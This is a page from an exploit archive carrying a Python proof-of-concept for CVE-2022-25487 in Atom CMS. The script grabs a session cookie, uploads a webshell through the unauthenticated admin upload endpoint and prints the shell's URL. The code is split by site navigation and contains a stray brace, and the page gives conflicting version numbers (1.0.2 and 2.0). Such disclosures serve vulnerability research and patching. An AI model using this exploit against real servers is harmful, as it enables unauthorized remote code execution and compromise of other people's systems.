

Atom CMS 1.0.2 Shell Upload

Authored by [Ashish Koli](#)

Posted [Mar 30, 2022](#)

Atom CMS version 1.0 suffers from a remote shell upload vulnerability.

tags | [exploit](#), [remote](#), [shell](#)

advisories | [CVE-2022-25487](#)

SHA-256 | [a1ff9987b6bdc85d32bdf744311ddc50def1d3ba515fb3bb6f39d1a90ab9b9ff](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

[Download](#)

```
# Exploit Title: Atom CMS 2.0 - Remote Code Execution (RCE)
# Date: 22.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://thedigitalcraft.com/
# Software Link: https://github.com/thedigitalcraft/Atom.CMS
# Version: 2.0
# Tested on: Ubuntu 20.04.3 LTS
# CVE: CVE-2022-25487

# Description
This script uploads webshell.php to the Atom CMS. An application will store that file in the uploads directory
with a unique number which allows us to access Webshell.

# Usage : python3 exploit.py <IP> <Port> <atomcmspath>
# Example: python3 exploit.py 127.0.0.1 80 /atom

# POC Exploit: https://youtu.be/qQrq-eEpswc
# Note: Crafted "Shell.txt" file is required for exploitation which is available on the below link:
# https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC

'''
Description:
A file upload functionality in Atom CMS 2.0 allows any
non-privileged user to gain access to the host through the uploaded files,
which may result in remote code execution.
'''

#!/usr/bin/python3
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
import struct
import re
import string
import linecache

proxies = {
    'http': 'http://localhost:8080',
    'https': 'https://localhost:8080',
}

'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
atomcmspath = sys.argv[3]

'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin'
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"', '')
cookie = cookie.replace('{', '')
cookie = cookie.replace(' ', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')

'''
Upload Webshell:
'''
# Construct Header:
```



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files

Ubuntu 52 files

Gentoo 44 files

Debian 27 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secu1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
 Advisory (79,557)
 Arbitrary (15,643)
 BBS (2,859)
 Bypass (1,615)
 CGI (1,015)
 Code Execution (6,913)
 Conference (672)
 Cracker (840)
 CSRF (3,288)
 DoS (22,541)
 Encryption (2,349)
 Exploit (50,293)
 File Inclusion (4,162)
 File Upload (946)
 Firewall (821)
 Info Disclosure (2,656)

File Archives

November 2022
 October 2022
 September 2022
 August 2022
 July 2022
 June 2022
 May 2022
 April 2022
 March 2022
 February 2022
 January 2022
 December 2021
 Older

Systems

AIX (426)
 Apple (1,926)

```
header1 = {
  'Host': target_ip,
  'Accept': 'application/json',
  'Cache-Control': 'no-cache',
  'X-Requested-With': 'XMLHttpRequest',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.93 Safari/537.36',
  'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
  'Origin': 'http://' + target_ip,
  'Referer': 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/index.php?page=users&id=1',
  'Accept-Encoding': 'gzip, deflate',
  'Accept-Language': 'en-US,en;q=0.9',
  'Cookie': cookie,
  'Connection': 'close',
}

}

# loading Webshell payload:
path = 'shell.txt'
fp = open(path,'rb')
data= fp.read()

# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/uploads.php?id=1'
upload = requests.post(link_upload, headers=header1, data=data)

p=upload.text
x = re.sub("\s", "\n", p)
y = x.replace("l<br>Unknown", "null")
z = re.sub('[^0-9]', '', y)

'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + atomcmspath + '/uploads/' + z + '.php')
print('')
```

[Login](#) or [Register](#) to add favorites

- Intrusion Detection (866) BSD (370)
- Java (2,888) CentOS (55)
- JavaScript (817) Cisco (1,917)
- Kernel (6,255) Debian (6,620)
- Local (14,173) Fedora (1,690)
- Magazine (586) FreeBSD (1,242)
- Overflow (12,390) Gentoo (4,272)
- Perl (1,417) HPUX (878)
- PHP (5,087) iOS (330)
- Proof of Concept (2,290) iPhone (108)
- Protocol (3,426) IRIX (220)
- Python (1,449) Juniper (67)
- Remote (30,009) Linux (44,118)
- Root (3,496) Mac OS X (684)
- Ruby (594) Mandriva (3,105)
- Scanner (1,631) NetBSD (255)
- Security Tool (7,768) OpenBSD (479)
- Shell (3,098) RedHat (12,339)
- Shellcode (1,204) Slackware (941)
- Sniffer (885) Solaris (1,607)
- Spoof (2,165) SUSE (1,444)
- SQL Injection (16,089) Ubuntu (8,147)
- TCP (2,377) UNIX (9,150)
- Trojan (685) UnixWare (185)
- UDP (875) Windows (6,504)
- Virus (661) Other
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed